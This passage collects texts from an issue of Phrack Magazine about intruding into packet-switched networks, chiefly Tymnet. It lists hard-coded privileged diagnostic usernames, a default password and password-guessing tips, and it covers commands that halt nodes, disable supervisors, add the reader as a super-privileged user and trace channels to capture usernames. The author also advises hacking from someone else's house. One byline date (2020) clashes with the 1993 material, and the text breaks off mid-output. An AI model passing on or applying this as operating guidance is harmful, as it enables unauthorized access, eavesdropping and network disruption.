allows the user the ability to write directly to the network controller "node code" and alter its configuration. Allowing a user access to NETVAL will allow the user to display all usernames active on the network and the corresponding host addresses. OTHER PROBLEMS EXAMPLE ONE On many networks users have the ability to connect to the packet assembler/disassembler (PAD) of the network dial-ups. This has led to significant problems in the past. In the mid-1980's two American hackers were exploring the German packet network DATEX-P. One connected to a host in Berlin and was immediately disconnected by the remote site. Before the hacker could react, the German host connected to the NUA corresponding to his Sprintnet PAD and sent him a login prompt. This alarmed the hacker greatly, as he assumed that the proprietors of the German host had somehow noticed his attempt to access their system. He contacted his partner and told him of the occurrence. The two concluded that since the NUA of the origination point is sent in the packet-header, the remote site must have been programed to recognize the NUA and then return the call. The fact that it had returned a call to a public PAD was intriguing to the pair, so they decided to attempt to recreate the event by calling each other. Both individuals connected to the network and one entered the NUA corresponding to the others PAD. A connection resulted and the two were able to interact with one another. They then decided that they would periodically meet in this fashion and discuss their findings from Germany. At the time of the next meeting, the connection did not occur as planned. One hacker quickly received a telephone call from the second who exclaimed rather excitedly that he had attempted to connect to his partner as planned, but accidentally connected to another PAD and intercepted a legitimate user typing his NUI. Further investigation proved that one could connect to public PADs during the idle period when the user was in network mode, prior to making a connection to a remote site. This discovery was intended to remain secret, because of its extremely dangerous applications. Nevertheless, word of this discovery soon reached the entire hacker community and what came to be known as "PAD to PAD" was born. The "PAD to PAD" technique became so wide-spread that hackers were soon writing software to intercept data and emulate hosts and capture login names and passwords from unsuspecting network users. Hackers were intercepting thousands of calls every day from users connecting to systems ranging from banking and credit to the Fortune 500 to government sites. After nearly two years of "PAD to PAD" Sprintnet became alerted to the crisis and disallowed all connections to public PADs. When Sprintnet expanded its service overseas they once again left access to the overseas PADs unrestricted. The problem went unnoticed again until their attention was brought to it by a hacker who called Sprintnet security and told them that they ought to fix it quickly before it became as wide-spread as before. The problem was resolved much quicker this time. This particular technique was not limited to Sprintnet. All networks using the Telenet software are at risk to this type of manipulation. This type of network manipulation was integral in the recent compromise of a large Bell Company's packet network in a much-publicized case. Certain foreign networks in countries such as Israel, England, Chile, Panama, Peru and Brazil are also at risk. EXAMPLE TWO In the late 1980's hackers stumbled onto a packet network owned and maintained by a large facilities maintenance company. This particular network had a huge flaw in its setup. It connected all calls placed through it as if they were placed with an NUI. This allowed hackers to place calls to addresses that refused collect connections on networks around the world. This became a popular method for hackers to access underground chat systems in Europe. Additionally, this network contained a score of computers belonging to a major automobile manufacturer. Most of these systems were highly insecure. The network also allowed unrestricted access to network debug ports. This particular network also had a toll-free number on an MCI exchange. At the time, MCI was having some difficulty getting their equipment to accept the ANI information to provide customers with a full call- detail report on their monthly statement. The hackers were well aware of this fact and made frequent use of the network with no fear of prosecution. Eventually MCI was able to fix their translation problem and were able to provide their clients with full call-detail reports. When this was learned, many hackers abandoned use of the network, but several others were later prosecuted for its usage when their number turned up on the bill. EXAMPLE THREE Until quite recently intimate knowledge of the utilities driving various packet-switched networks were known by an exclusive few. While investigating a network owned by an extremely large Cleveland-based conglomerate hackers came across a system where documentation on the usage of every utility was kept online. The hackers quickly downloaded all the information and it soon became somewhat wide-spread among the underground community. With less-skilled and more unscrupulous individuals in possession of this information many networks began experiencing disruptions and system integrity was quickly lost as hackers began monitoring data traffic. No information on the usage of packet networks or their utilities should ever be kept online. Hard copies should be kept in the possession of the network administrator, and when updated, obsolete versions must be destroyed. WHAT TO DO When a security violation stemming from a connection through the packet network is noticed, Network Security should be notified. Clients of BT-Tymnet should notify Steve Matthews at 408-922-7384. Clients of Sprintnet should notify Pat Sisson at 703-689-6913. Once changes have been enacted in the network to prevent further break-ins, the host computer should be checked thoroughly for any changes or damages, and all individual account passwords should be changed. CONCLUSION It is critical that the packet network be configured properly and that all measures are taken to ensure its security. Even the most secure host computer can be easily compromised if it is connected to an insecure packet network. ---------------------------------------------------------------------- ==Phrack Magazine== Volume Four, Issue Forty-Two, File 5 of 14 = - = - = - = - = - = - = - = - = - = - = - = - = - = - = - = - = - = - = - Synopsis of Tymnet's Diagnostic Tools and their associated License Levels and Hard-Coded Usernames by Professor Falken February 14, 2020 = - = - = - = - = - = - = - = - = - = - = - = - = - = - = - = - = - = - = - While the scope of this article is general, the information contained within is NOT for the novice Tymnet explorer. Novice or NOT, go ahead and read; however, caution should be taken when invoking any of these commands upon BT's network. Execution of certain commands can have debilitating consequences upon segments of the network. In this article I intend to educate the reader about the various Tymnet diagnostic utilities that are available. This article is by no means an in depth microscopic view of the utilities; but rather a brief to the point survey course of what is available to qualified people. With each utility I will describe its use/s, list its major commands, and in DDT & XRAY's case, dispense its hard-coded usernames which allow you to become a 'qualified person.' It seems the software engineers at Tymnet (for the lack of something better to do) like to rename ordinary words to complicated ones. For instance, within this article I will talk about LICENSE LEVELS. License levels are nothing more than security levels. When I speak of License Level 4, just translate that to Security Level 4. I would have just called everything security levels, but I wanted to stay within that lethargic Tymnet mood for realism purposes. Another word the engineers pirated from 'GI JOE' was GOOD-GUYS. In our world, a Good-Guy is a valid username that can be used for logging into the various diagnostic utilities. Like most conventional computers, Tymnet also needs an operating system for its code to run under. Tymnet's node-level, *multitasking*, operating system is called ISIS; it stands for 'Internally Switched Interface System.' Its designed for: handling multiple communication links, allocating system memory, system job/process scheduling, and all the other BASIC things ALL operating systems do. Tymnet explains it a bit more complicated and less to the point, but to give equal time to the opposing viewpoint, this is what they say: "Internally Switched Interface System. The operating system for a TYMNET node; provides functions that control the overall operation of an Engine. These functions include, but are not limited to, memory allocation, message switching, job scheduling, interrupt processing, and I/O distribution. ISIS allows multiple data communications functions to run on a single processor. Two of its many services are debugging and I/O port management. Formerly known as ISIS-II or ISIS2. ISIS2, ISIS-II Obsolete terms. See Internally Switched Interface System (ISIS)." At various points within this file I will refer to an ENGINE. Basically, an ENGINE is a minicomputer which handles all the processing requirements that ISIS and its applications demand. However, to be fair to all the Tymnet technoids, this is what BT says: "BT North America packet-handling hardware. The Engine communications processor is a member of a family of special-purpose minicomputers. It runs communications software such as Node Code (for switching), slot code (for protocol conversion and value-added functions), and the ISIS operating system. The Engine family consists of the Pico-Engine, Micro-Engine, Mini-Engine, Mini-Engine-XL, Dual-Mini-Engine-XL, Engine, and ATC." You think they would have invented much NEATER names for their computer platforms than 'Mini-Engine' or 'Micro-Engine'. I would guess that BT's hardware engineers have less time than the software engineers to invent K-RAD names for their projects. Anyhow, as you can see, the ENGINE is the muscle behind Tymnet's network brawn. Another term which is very basic to ANY understanding of Tymnet is the 'SUPERVISOR.' As you can see the engineers searched high & low for this clever term. The Supervisor is many things including, the authentication kernel you interact with, the circuit billing system that subscribers unfortunately do not interact with, and generally the network's 'BIG BROTHER.' Supervisor watches the status of the network at all times, keeping detailed logs and interceding when trouble erupts. The supervisor term can also refer to the engine upon which the Supervisor is being run on. With all that in mind, I will now introduce five of Tymnet's diagnostic tools. I intend on presenting them in this order: DDT, MUX, PROBE, LOAD-II, TOM, and XRAY. Please note that only DDT and XRAY have 'good-guy' lists provided. DDT - Dynamic Debugging Tool ---------------------------- DDT is a utility which runs under the ISIS operating system. DDT is capable of loading or displaying a slot's content. A slot is an area of memory in a node in which Tymnet applications run. DDT can also be used for modification of a specific slot's slot code. Slot code is any program which has been assigned memory within the engine by ISIS. DDT also performs other lower level diagnostic functions, which I will not go into. Logging into DDT requires you to provide the 'please log in:' prompt a valid username and password. Upon checking the good-guy list and authenticating the user, the kernel process searches for the associated slot assignment. If no slot is assigned to the good-guy, the kernel will prompt you for a slot number. Once you enter a VALID slot number and it is available, the authentication kernel executes the DDT utility. When I say 'VALID' slot number, I mean a slot number which logically exists AND is attainable by your current good-guy's license level. Actual logins to DDT take the form: please log in: goodguyID:host# password: Where goodguyID is a valid goodguy, host# is the Tymnet subscriber who needs a little 'work' done, and obviously the password is what it is. While I would like to give you all the passwords I could, I don't think it is going to happen. So all I can do is suggest trying different variations of the goodguy IDs, and other dumb passwords unsecure people use. Connection to primary DDT is displayed as the ever-so-friendly '*' prompt. It is from this prompt that all general DDT commands are directed. The most useful DDT commands are listed below in a general, extended, and RJE/3270T specific registry. GENERAL DDT COMMANDS -------------------- E Execute a slot. H Halt a slot. <---- DESTRUCTIVE See WARNING! ZZ Logs you out of DDT. ^# Transfers control from the current slot to the slot specified by #. (IE- ^7 Switches control to slot 7) ?CPU Displays CPU utilization (Engine Performance) ?HIST Displays a history of diagnostic messages. ?HOST Displays the hosts in use by that slot. ?LU Displays the logical unit to physical device assignment. ?MEM Displays the time of memory errors if any. ?STAT Allows the execution of EXTENDED DDT. To obtain the extended command prompt type '/'.Command prompt ':>' ?VERN Displays the ISIS version followed by the SLOT's version. WARNING!: It is possible to HALT a slot accidently. This will freeze everything going in/out of the current slot. This can be BAD for customer satisfaction reasons. If you accidently hit 'H', even without a CR/LF it will hang the slot. So when the ?HIST or ?HOST commands are used make SURE you type that important '?' beforehand. This will halt everything going over that slot, effectively destroying the communication link. EXTENDED COMMANDS FOR RJE & 3270T --------------------------------- RJE & 3270T =========== EXI Logs you out. (DuH!) QUIT Return from extended DDT prompt ':>' to normal '*' DDT prompt. RJE Only ======== HELP Displays a list of commands available in extended RJE DDT mode. (A list not worth putting in here.) SCOPE Outputs a protocol trace. TRACE Outputs a state trace. 3270T Only ========== HELP Displays a list of commands available in extended 3270T DDT mode. (Again, a list not worth putting in here.) STATUS Displays status of all lines, control units, and devices. STRTLN x Start polling on line x. (Performance benchmark) STRTCU x,y Start polling control UNIT x on LINE y. (Performance benchmark) STOPLN x Stop polling on line 'x' STOPCU x,y Stop polling control UNIT x on LINE y. NOTE:If you try to use an RJE command while logged into a 3270T you will be shown the incredible "ILLEGAL COMMAND" string. GOOD-GUYS AND LICENSE LEVELS ---------------------------- As with any username, there is an accompanying license level (security level) with each account. The different levels define which types of slots that username may access and the available commands. Some of the good-guys have access to all slots including supervisor, while others have access to only non-supervisor slots. The table below is a list of the actions that are available with the various different license levels. L.DISC Permits disk formatting L.H Permits the halting, loading, and restarting of all slots for code-loading purposes. L.P Permits the halting, restarting, and online software modification to an active slot. (Except slots 0 and FF) L.R Permits logon to all slots (Except 0 and FF) L.SOA Permits logon to a node's slot 0. (Node configuration.) L.SOP Permits the halting, restarting, and online software modification to slot 0. L.SOR Permits the reading of slot 0 files. L.SUA Permits logon to Supervisor slots. L.SYA Permits logon to a node's FF slot. (ISIS configuration node.) L.SYR Permits the reading of slot FF files. L.SYP Permits the halting, restarting, and online modification to slot FF. The DDT license levels are numbered from 0 to 4, 4 being Gh0D. Each level has several of the above named actions available to them. Listed below are the various actions available at the 0 through 4 license levels. LEVEL ACTIONS ===== ======= 4 L.DISC, L.P, L.SOA, L.SOP, L.SUA, L.SYA, and L.SYP . (Disk format, halt, restart, online software mods, and reading of files for all slots AND supervisors. Like I said, GOD.) 3 L.P, L.SOA, L.SOP, L.SYA, and L.SYP . (Halt, restart, online software mods, and reading of files for all slots and supervisors.) 2 L.H, L.R, L.SOA, L.SOR (For code loading purposes: halt, restart online software mods, and reading files for all slots and supervisor nodes.) 1 L.R, L.SOA, L.SYA (Views ALL slots and supervisor nodes) 0 L.R (Views all slots, EXCEPT supervisor slots and 0 & FF.) What follows is a good-guy userlist with the associated license level of that username. I also note whether the account is ACTIVE/PASSIVE upon an operating node/slot combination and the seriousness of the network impact that those associated licenses can possibly create. LICENSE LEVEL GOOD GUY USERNAME ACTIVE/PASSIVE NETWORK IMPACT ============= ================= ============== ============== 4 ISISTECH Active MAJOR 4 NGROM Active MAJOR 4 NSSC Active MAJOR 4 RPROBE Active MAJOR 4 RERLOG Active MAJOR 4 RACCOUNT Active MAJOR 4 RSYSMSG Active MAJOR 4 RUN2 Active MAJOR 4 TNSCM Active MAJOR 3 IEXP Active Moderate 3 ISERV1 Active Moderate 3 ISERV2 Active Moderate 3 ISERV3 Active Moderate 3 ITECH1 Active Moderate 3 ITECH2 Active Moderate 3 ITECH3 Active Moderate 3 ITECH4 Active Moderate 3 ITECH5 Active Moderate 2 GATEWAY Active Minor 1 DDT Passive 1 DDTECH Passive 1 IOPPS Passive 1 ISERV Passive 1 ITECH Passive 0 VADICBUSY Passive MUX - The Circuit Multiplexer ----------------------------- MUX is a tool which also runs within an ISIS slot. MUX allows the building, interconnecting, and controlling of several sets of circuits from a single terminal. Instead of logging in and out of each diagnostic tool as different commands are needed, MUX is used to create multiple concurrent circuits. Once these are set up, it is easy to switch back and forth between different diagnostic applications, WITHOUT having to logoff one before logging into another. Tymnet also likes to boast that you can chat with other users on MUX's 'Talk mode facility.' I'll stick to IRC until this catches on. Logging into MUX is quite simple. It takes the form of: please log in: userid password: NOTE: ATTN commands, see CHAR command. ATTN ATTN Allows you to send one attention character down the circuit. ATTN C x Labels the current port, where 'x' is the label you desire. ATTN E Allows you to switch to the next port you have defined. This command however is not valid from the command mode. The circuit label is presented and connection is made. Even though the prompt for that circuit is not presented, you ARE connected. ATTN Z Returns you to the command mode. CHAR char Configures your ATTN character to 'char'. So in the below ATTN commands, you will have to enter your ATTN character then the proceeding character. The default ATTN Character is CTRL-B. Personally, I like to set mine to '!'. CONNECT pl1,pl2 Connect the output of port label-1 to port label-2. Usually your current port label is marked with a * preceding it in a 'LIST', this is also known as a BOSS. ENABLE pl Enables a pl's (port labels) output. EXIT Leave MUX with all your circuits INTACT. FLUSH pl Flush pl's (port labels) output. FREEZE N/F Freeze (N=ON or F=OFF) current Boss. GREETING msg Sets up the greeting message. HEAR N/F Allow (N=ON or F=OFF) users to 'TALK' to each other. HELP Prints help messages. (ooof) LIST Lists all active ports for the current user. (ATTN Z L) LABEL N/F Labeling (N=ON or F=OFF) of all output sent to the Boss. MAKE Make a new circuit by logging onto a diagnostic tool. You will be prompted with the omnipresent 'Please log in:' prompt. Just login as usual for particular tool. MESSAGE Print last message. QUIT Leave MUX and ZAP all circuits created. SEND pl Send to pl (port label). TALK username Talks to 'username' providing HEAR=N. TIME Outputs date and time in format: 31Dec93 05:24 TRANSFER pl Transfers control of this BOSS to pl (port label). ZAP pl Zap any circuits you made, where 'pl' is the port label. This command defaults to the port labeled '*' (Boss). This command is ONLY valid in command mode. PROBE ----- PROBE is probably one of the BEST known Tymnet diagnostic tools. PROBE is actually a sub-program of the Supervisor. PROBE is capable of monitoring the network, and it has access to current pictures of network topology, including host tables and node descriptors. PROBE shares common memory with the Supervisor and has circuit tracing capability. PROBE can be used to check the history of nodes & links, boot a node, trace a circuit, and reset a link or shut one down. PROBE can be access directly or through TMCS (Tymnet Monitoring and Control System.) To access PROBE from within TMCS you would enter the command: PROBE s Where 's' is the active or 'sleeping' supervisor. For more PROBE related TMCS commands or general TMCS commands, please refer to an appropriate source. If the demand is great enough, perhaps I will release a TMCS reference sheet in the future. PROBE access is determined by the sum of the individual license levels granted to the user. PROBE licenses are as follows: License Description ------- ----------- 00 Permits view only commands -- user is automatically logged off from PROBE after 20 minutes of no activity. 04 Permits view only commands -- no automatic logoff. 20 Permits all 00 commands plus ability to effect changes to network links. 10 Permits ability to effect changes to node status. 01 Permits ability to effect changes to network supervisors. 02 Permits ability to effect changes to supervisor disks. I do not have any hardcoded usernames for PROBE with this exception. The PROBE access username 'PROBE' is hardcoded into the supervisor, and usually each host has one hardcoded PROBE username: CONTROL -- license level 37. So in comparison with the above chart, CONTROL has Gh0d access to PROBE commands, because everything added up equals 37 (duh). On many subnets, the username RPROBE has similar access. PROBE COMMANDS Command Lic. Lvl Description ------- -------- ----------- CHANGE 00/04 Changes your PROBE personal password. EXI 00/04 Logout. HELP 00/04 Help. (Temple of Sub-Genius) SEND x text 00/04 Sends message to Probe user whose job label is 'x'. VERSION 00/04 Lists current software version number. WHO 00/04 Lists currently logged in PROBE users. (Useful) DISPLAY CMDS: Command Lic. Lvl Description ------- -------- ----------- ACCT 00/04 Displays # of accounting blocks on Supervisor disk available for RAM session record data. AN 00/04 Displays detailed information about active nodes. ASTAT 00/04 Displays number of login and circuit building timeouts. AU 00/04 Displays node numbers of ALL active nodes that are up. CHAN x 00/04 Displays port number used by Supervisor for command circuit to node 'x'. COST x 00/04 Displays cost of building command circuit to node 'x'. CSTAT 00/04 Displays time, login, rate, and network status every 15 seconds. EXC O|S|P 00/04 Displays links that are overloaded (O), or shut (S), or out of passthroughs (P). HOST x 00/04 Displays information about host 'x' or all hosts. LACCT 00/04 Displays number of last accounting block collected by RAM session record data. LRATE 00/04 Displays Supervisor login rate in logins per min. LSHUT 00/04 Displays shut links table. LSTMIN 00/04 Displays circuit status information gathered by Supervisor during preceding minute. N x 00/04 Displays status info about node 'x'. OV x 00/04 Displays overloaded links. PERDAT 00/04 Displays Supervisor performance data for preceding min. RTIME 00/04 Reads 'Super Clock' time and displays year, and Julian date/time. STAT 00/04 Displays network status information. SYS 00/04 Displays host number running PROBE. TIME 00/04 Displays Julian date and network time. TSTAT 00/04 Displays same information as STAT, preceded by Julian date/time. VERSION 00/04 Displays current versions of PROBE and Supervisor software. WHO 00/04 Displays active PROBE users and their job labels. LOG MESSAGE CMDS: Command Lic. Lvl Description ------- -------- ----------- LOG 00/04 Outputs network information from Supervisor log. REPORT 00/04 Controls output of node reports. RLOG m1..m4 00/04 Restricts log output to up to four message numbers. M1- 1st Message, M2- 2nd Message, etc. RNODE n1 n2 00/04 Restricts log output to messages generated at nodes N1 and N2. NETWORK LINK CMDS: Command Lic. Lvl Description ------- -------- ----------- CSTREQ n1 n2 20 Requests total speed of all lines on specified link. (n1= 1st Node n2= 2nd Node) ESHUT n1 n2 20 Shuts specified link and enters it on shut links table. (n1= 1st Node n2= 2nd Node) PSTAT n Hhost p 20 For node 'n', displays status of logical ports for port array 'p' on 'host'. Note the capital 'H' must precede the host specific. RSHUT n1 n2 20 Opens specified link and removes it from shut links table. SYNPRT n 20 Displays status of async ports on node 'n'. TRACE n Hhost p 20 Traces specified circuit. Where 'n' is node, or n Sp 20 'host' is HOST, and 'p' is port. Or for secondary command: 'n' node name, 'p' port. Again, 'S' must precede the port name. T2BORI n1 n2 20 Resets communication channel between node n1 and node n2. NETWORK NODE CMDS: Command Lic. Lvl Description ------- -------- ----------- CLEAR n 10 Opens all links on node 'n'. DLOAD n 10 Causes node 'n' to execute its downline load bootstrap program. NSHUT n 10 Shuts all links on node 'n'. RETAKE n 10 Causes Supervisor to release and retake control of node 'n'. SPY 10 Displays last 32 executions of selected commands. NETWORK SUPERVISOR CMDS: Command Lic. Lvl Description ------- -------- ----------- AWAKE 01 Wakes a sleeping Supervisor. (Only one Supervisor is active at one time, however there can be supervisors 'sleeping'.) CLASS 01 Causes Supervisor to read Netval class and group definitions. DF s 01 Increases Supervisor's drowsiness factor by 's' seconds. ETIME 01 Sets time known to Supervisor. FREEZE 01 Removes Supervisor from network. PSWD 01 Displays password cipher in hex. SLEEP 01 Puts active Supervisor to sleep. THAW 01 Initializing frozen Supervisor. TWAKE 01 Wakes sleeping Supervisor, automatically puts active Supervisor to sleep and executes a CSTAT command. USER UTILITY CMDS: Command Lic. Lvl Description ------- -------- ----------- ENTER 01 Adds/deletes/modifies Probe usernames. HANG x 01 Logs off user with job label 'x'. LIST 01 Displays Probe usernames. ULOGA 20 Enters user-generated alphabetic message in msg log. ULOGH 20 Enters user-generated hex message in msg log. SYSTEM MAINTENANCE / DISASTER RECOVERY CMDS: Command Lic. Lvl Description ------- -------- ----------- DCENT n1 n2 02 Allows Tymnet support temporary, controlled access to a private network. (Useful) DCREAD 02 Reads current value of password cipher associated with DCENT username. FTIME +/- s 02 Corrects the 'Super Clock' by adding (+) or subtracting (-) 's' seconds from it. INITA 02 Initializes accounting file to all zeros. INITL 02 Initializes log to all zeros. NOTE: Each PROBE is a separate entity with its own files. For example, if you shut lines in the PROBE on the active Supervisor, this will NOT be known to the sleeping PROBE. If another Supervisor takes over the network, it will not consider the link to be shut. Likewise, PROBE password changes are made only to one PROBE at a time. To change your password everywhere, you must do a CHANGE in each probe. LOAD-II ------- LOAD-II is probably one of the LEAST known of Tymnet's utilities. LOAD-II is used to load or dump a binary image of executable code for a node or slot. The load/dump operation can be used for the ENTIRE engine, or a specific slot. Upon reaching the command prompt you should enter: R LOADII This will initiate an interactive session between you and the LOAD-II load/dumping process. The system will go through the following procedure: TYMNET OUTPUT YOUR INPUT WHAT THIS MEANS TO YOU ------------- ---------- ---------------------- Enter Function: G 'G' Simply means identify a gateway Enter Gateway Host: #### This is the 4 digit identifier for hosts on the network. I know that 2999 is for 'MIAMI'. Password: LOAD This is the default password for LOAD-II. Function: C 'C' for crash table dump, OR D 'D' to dump an entire engines contents, OR L 'L' to load an entire engines contents, OR S 'S' to load a slot, or U 'U' to dump a slot. Neighbor Node: #### Selects neighbor node number. Neigh. Kern. Host#: ### This 3-digit code is derived by adding the first two digits of the node number and appending the last two digits to that sum. Line # to Load From: ## Use the line number coming off the neighbor node, NOT the node that is DOWN. Object File Name: File used to load/dump node or slot from/to. EXIT EXI Send program to end of job. TOM - TYMCOM Operations Manager ------------------------------- TOM is utility which runs under TYMCOM. Quickly, TYMCOM is an interface program for the host computer which imitates multiple terminals. Quoting from Tymnet, "TYMCOM has multiple async lines running to the front-end processor of the host." So in other words, TYMCOM has a bunch of lines tied into the engine's front-end, allowing a boatload of jobs/users to access it. TOM is primarily used with TYMCOM dialup ports. It is used to DOWN and then UP hung ports. This type of situation may occur after a host crash where users are getting a 'Host Not Available' error message. TOM can also be used to put messages on TYMCOM in order to alert users to problems or when scheduled maintenance will occur on various hosts/ports. To login type: ##TOM##:xxxx Where 'xxxx' is the appropriate host number you wish to 'work' on. After proper hostname is given, you will then be prompted for a password. As I have none of these to give, play on 3-5 character combinations of the words: TYMCOM, TOM, HIF, OPMNGR. Command Description ------- ----------- GRAB TOMxxxx This should be the FIRST thing you do when down/upping a host. Gets license for up or down host, then prompts for password of host. Where 'xxxx' is the host number. You must have privileged status to use. CHANGE xxxx Change a host number to 'xxxx'. DIAGNOSTICS Turns the diagnostic messages off or on.(Toggle) DOWN P xx Take DOWN port number 'xx', or H xxxx Take DOWN host number 'xxxx'. ENQUIRE Lists information about the node and slow where TYMCOM is running. EXIT Logout. MESSAGE Sets text to be output to the terminal when a user logs in. SHUT H xxxx Disallow new logins to a specified host = 'xxxx', or P xx Disallow new logins to a specified port = 'xx'. SPEED xxxx Specifies the baud rate at which a port will communicate. STAT P xx-yy Shows status of port numbers 'xx' through 'yy'. Either one or a number of ports may be specified. TIME Displays the current time. TO x message Sends 'message' to specified user number 'x'. UP P xx Bring UP port number 'xx', or H xxxx Bring UP host number 'xxxx'. WHO Lists user numbers of all users currently logged into TOM. XRAY ---- XRAY is another one of the very well known commands. XRAY is a program which sits within node code and waits for use. Its used to gain information about a specific node's configuration and its current status in the network. It can be used to determine the probable reason for a crash or line outage in order to isolate bottlenecks or track down network anomalies. XRAY user licenses are all assigned a logon priority. If every XRAY port on a node are in use, and a higher priority XRAY username logs in, the lowest priority username will be logged out. License Description ------- ----------- 2 Permits the writing and running of disruptive node tests. 1 Permits the running of non-disruptive node tests. 0 Permits view only commands. The following list is a compilation of some hardcoded 'good-guys'. LICENSE LEVEL PRIORITY GOOD GUY USERNAME ACTIVE/PASSIVE NETWORK IMPACT ============= ======== ================= ============== ============== 2 98 XMNGR Active MAJOR 2 98 ISISTECX Active MAJOR 2 97 XNSSC Active MAJOR 1 50 TNSCMX Active Minor 1 50 TNSUKMX Active Minor 1 40 XSOFT Active Minor 1 40 XEXP Active Minor 1 40 XCOMM Active Minor 1 40 XSERV1 Active Minor 0 50 XRTECH Passive 0 30 XTECH Passive 0 30 XOPPS Passive 0 30 XSERV Passive 0 0 XRAY Passive What follows is a VERY brief command summary. Command Description ------- ----------- CD Displays current auto/display mode for CRYPTO messages. CD Y|N Turns ON/OFF automatic display of CRYPTO messages. CL n Display the last 'n' CRYPTO messages. CRTL Z Logout. BT Causes the SOLO machine to go into boot. Audited command. DB Used to build and measure link delay circuits between nodes. The DB command prompts for a node list. IE- NODE LIST: DD Displays link measurement data for circuit built by the DB command. Verifies that the circuit has been built. DE Used to terminate the DB command. HT Puts the node code into a STOP state. This command shows up in audit logs. KD n Display link descriptor parameters where 'n' is the neighbor number. KS n Display link performance statistics (link delay, packet- making, bandwidth utilization, etc.) ND Displays information about the configuration of a node and its neighbors. NS option Displays parameters for estimating node work load. Options: -EXCT is the current load factor or execute count. A count of less than 60 means the load is heavy. -EXLW is the lowest EXCT value computed since startup. -EXHW is the highest EXCT value computed. SN Restarts the node, command audited. ------------------------------------------------------------------------------ I hope this file gave you a better understanding of the Tymnet network. While a lot of the commands make sense only if you've had prior Tymnet experience, I hope my summaries of each tool gave you a little better understanding of the network. I am available for questions/comments/gripes on IRC, or I can be reached via Internet mail at: pfalken@mindvox.phantom.com Thanks goes out to an anonymous hippy for providing the extra nudge I needed to sit down and write this phile. NO thanks goes out to my lousy ex-roommates who kicked me out in the middle of this article. Their day is approaching. Be careful everyone...and remember, if you have to explore the mysterious fone/computer networks, do it from someone else's house. - Professor Falken = Legion of Doom! [Written with consent and cooperation of the Greys] ----------------------------------- ==Phrack Magazine== Volume Four, Issue Forty-Two, File 6 of 14 A User's Guide to XRAY By N.O.D. This file was made possible by a grant from a local McDonnell Douglas Field Service Office quite some 'tyme' ago. This was originally written about version 4, although we are pretty sure that BT has now souped things up to version 6. Everything still seems the same with the exception of a few commands, one of which we will point out in particular. Any comments/corrections/additions/updates or subpoenas can be relayed to us through this magazine. XRAY is a monitoring utility that gives the user a real-time window into a Tymnet-II node. Used in tandem with other utilities, XRAY can be a very powerful tool in monitoring network activity. In this file we will discuss key features of XRAY and give command formats for several commands. Some commands are omitted from this file since they can only be used from dedicated terminals. Several others are likewise omitted since they deal with the utilization of XRAY in network configuration and debugging the actual node code, and would probably be more damaging than useful, and commands to reset circuits and ports are similarly missing. ACCESS The most obvious way to access XRAY is to find the username/password pair that either corresponds to the host number of an XRAY port, or is otherwise in the goodguy list of a particular node. XRAY can also be accessed through the DDT utility by typing ?STAT Either will respond with the following **X-RAY** NODE: XXX HOST: ZZZ TIME: DD:HH:MM:SS If all ports are currently in use the user will only be allowed access if his/her is of greater precedence in the goodguy list than that of someone previously online. In such a case, that user will be forcibly logged out and will receive the following message: "xray slot overridden" Otherwise the user will see: "out of xray slots" XRAY users are limited in their power by the associated "licence" level given them in the XRAY goodguy list. The levels are: 0 - normal 1 - privileged 2 - super-privileged There are several user names associated with the XRAY utility. These exist on almost any network utilizing the Tymnet-II style networking platform. PRIORITY USERNAME 2 XMNGR 2 ISISTECX 2 XNSSC 1 TNSCMX 1 TNSUKMX 1 XSOFT 1 XEXP 1 XCOMM 1 XSERV1 0 XRTECH 0 XTECH 0 XOPPS 0 XSERV 0 XRAY COMMANDS with parameters in HE Help Use this command to display the commands available for that particular node. GP Get power This command allows the user to move up to the maximum security level allowed by his username, as specified in the good guy list. XG Display and/or modify XRAY goodguy list

This command without parameters will display the XRAY goodguy list. When added with an entry number and 'P' (purge) or 'M' (modify), the user can edit the contents of the table. The XGI command will allow the user to enter a new entry into the list. Any use of XG or XGI to alter the list is a super-privileged command and is audited. >XG XRAY GOODGUY LIST NO. PRIV OVER NAME ---- ---- ---- ---- 0001 0002 00FF TIIDEV 0002 0001 0030 RANDOMUSER 0003 0000 0000 XRAY >XGI ENTER UP TO 12 CHARACTERS OF USERNAME NOD ENTER NEW PRIVILEGE AND OVERRIDE - 2,FF >XG XRAY GOODGUY LIST NO. PRIV OVER NAME ---- ---- ---- ---- 0001 0002 00FF TIIDEV 0002 0001 0030 RANDOMUSER 0003 0000 0000 XRAY 0004 0002 00FF NOD BG Display and/or modify Bad Guy List This command when entered without any parameters displays the "bad guy" list. When used with a node number and 'R' it will remove that node from the list, and 'I' will included. The 'R' and 'I' features are privileged commands and usage is noted in audit trails. >BG 2000 701 1012 >BG 2022 I 2022 2000 701 1012 HS Display host information ND Display node descriptor This command displays information about the node and its network links. NS Display node statistics This command displays various statistics about the node including time differentiations in packet loops, which can then be used to determine the current job load on that particular node. KD Display link descriptor This command displays the values of the link to the node specified. This is displayed with columns relating to type of node (TP), speed of the link (SP), number of channels on the link (NCHN), etc.. KS Display link statistics This command provides a report on various factors on the integrity of the link to the given node(s), such as bandwidth usage, packet overhead, characters/second transmitted, delays in milliseconds, etc. BZ "Zap" link to node This command will cause the link to the specified node to be reset. This command is privileged and is audited. If the node "zapped" is not currently linked a "??" error message will be displayed. TL Set/Reset trace on link TN Set/Reset trace on line TM Display trace events These commands are used to display activity between two active nodes. AC Display active channels This command will display all active channel numbers for the given range starting at the given channel number. Range is in hex. QC Query channel status This command displays information about the given channel, including throughput speed, source and output buffer size and address location. TC Enable/disable data trace on channel <0/1> This command with no arguments displays the channels that are being diagnosed by the trace. The command with a channel number and a '1' will enable data trace for that channel, and a '0' will disable trace on that channel. Enabling or disabling trace is a privileged command. TD Display channel trace data in hex TE Display channel trace data in hex including escapes TA Display channel trace data as ASCII With these commands trace data is displayed for a specified time count. A prefixed 'I' or 'O' will show input or output data. The default is both. >ta 5 I/O CHN TIME OUT 0040 ECC5 \86\86\0F\00\8A\80h\80\8CS\83valinfo; IN 0040 EC87 \00\09\86\86\0D\08\00\00h OUT 0040 0F67 \86\86\0E\00\880\8D IN 0040 1029 \00,\86\86\09\86\00\00\90\1B\19\80 \06\86\00\00h \15\1B\08J\04\0B\04\0F\04=\0DR\80JS\80\80 \8CVALINFO\8D OUT 0040 102F \86\86\14\89p\90\1B\19\86\86\14\89j\18\15\13 **Note: Although this will allow one to follow the network connections on specific channels, password data is filtered out. As you can see from the above example, usernames are not. Many usernames do not have passwords, as you all know. ** On more recent versions of XRAY a similar command "DR" performs a similar function to the trace commands, but shows both hex and ascii of the data in memory registers of the node. >DR I NOS 0001 A0 * I SND 0001 A1 * ! I DTA 4920 616D 2061 6E20 6964 696F 7420 6265 *I am an idiot be* 